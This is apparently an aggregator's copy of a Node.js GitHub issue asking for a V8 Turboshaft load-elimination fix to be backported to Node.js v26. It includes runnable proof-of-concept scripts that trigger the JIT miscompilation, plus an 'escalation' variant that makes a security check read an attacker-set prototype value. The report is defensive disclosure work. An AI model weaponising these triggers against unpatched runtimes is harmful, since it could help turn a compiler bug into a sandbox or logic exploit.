nodejs / nodejs/node

V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)

オープン
#66,083 コメント 4 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

主要言語
JavaScript
スター
122k
フォーク
37.3k
平均マージ
4日 2時間
マージ済み PR(30日)
283

説明

Summary

V8 bug 554421904"Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.

An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.

This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.


Environment

Node.js v26.3.0 (current stable)
V8 14.6.202.34-node.20
Platform macOS arm64 (compiler-level bug — platform independent)
Reproduced 5/5 fresh processes
Fixed in Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26

Steps to Reproduce

node --allow-natives-syntax v8-lle-poc.js

Actual output (wrong) on Node.js v26.3.0:

Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1  | expected: 1.1  | OK
staleArray[7]: undefined | expected: 1.1  | WRONG!
target.length: 0    | expected: 0    | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
  V8: 14.6.202.34-node.20 | Node: v26.3.0

Expected output (patched build):

staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0   | expected: 0   | OK
RESULT: NOT TRIGGERED on this build

PoC #1 — Correctness (v8-lle-poc.js)

// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';

function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);
  return { target, staleArray };
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);

const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);

const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));

const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');

if (a0 === 1.1 && a7 === 1.1) {
  console.log('RESULT: NOT TRIGGERED on this build');
} else {
  console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
  console.log('  V8:', process.versions.v8, '| Node:', process.version);
}

PoC #2 — Escalation (v8-lle-escalation.js)

'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);      // DENY write — LLE target
  return staleArray[7];           // own property if written, else prototype
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);

Array.prototype[7] = 'ALLOW';   // attacker-controlled prototype slot

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0);   // payload 0 = DENY

console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];

Confirmed output (Node.js v26.3.0):

status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!

Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.


Root Cause

  • boundCarrier = carrier.bind(null, ...Array(32765).fill(0)) — 32,765 bound args + 2 call args = 32,767 (kMaxArguments)
  • Turboshaft LLE marks the BoundFunction invocation as !can_write() because it only allocates new memory for argument marshalling
  • Inside carrier, rest[32766] is staleArray — the call created an alias to the input, and set0 writes through it
  • LLE does not invalidate staleArray's state, so set7(staleArray, payload) is eliminated
  • Result: staleArray[7] stays undefined

Upstream commit message (b44239fe) confirms:

"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."


Suggested Fix

Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904

References

コントリビューションガイド

コントリビューションガイドを開く

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

調査の方向性

まず、Node.js の V8 14.6 スナップショットを upstream のコミット b44239fe と比較し、次にドキュメントに記載された Node.js v26 コマンドを使って v8-lle-poc.js と v8-lle-escalation.js を実行します。V8 のバックポートプロセスを確認し、両方の期待される出力に対してパッチ適用済みのビルドを検証します。完了とは、修正が適用されているか、そのスケジュールが確認されていることを意味します。

索引モデルが issue の本文から書いたものです。

評価

技術スタック
javascript, nodejs
領域
compilers
issue の種類
バグ
難易度
4/5
見積もり時間
3〜5日
活発さ
活発
明瞭さ
明確に書かれている
初心者へのやさしさ
48/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。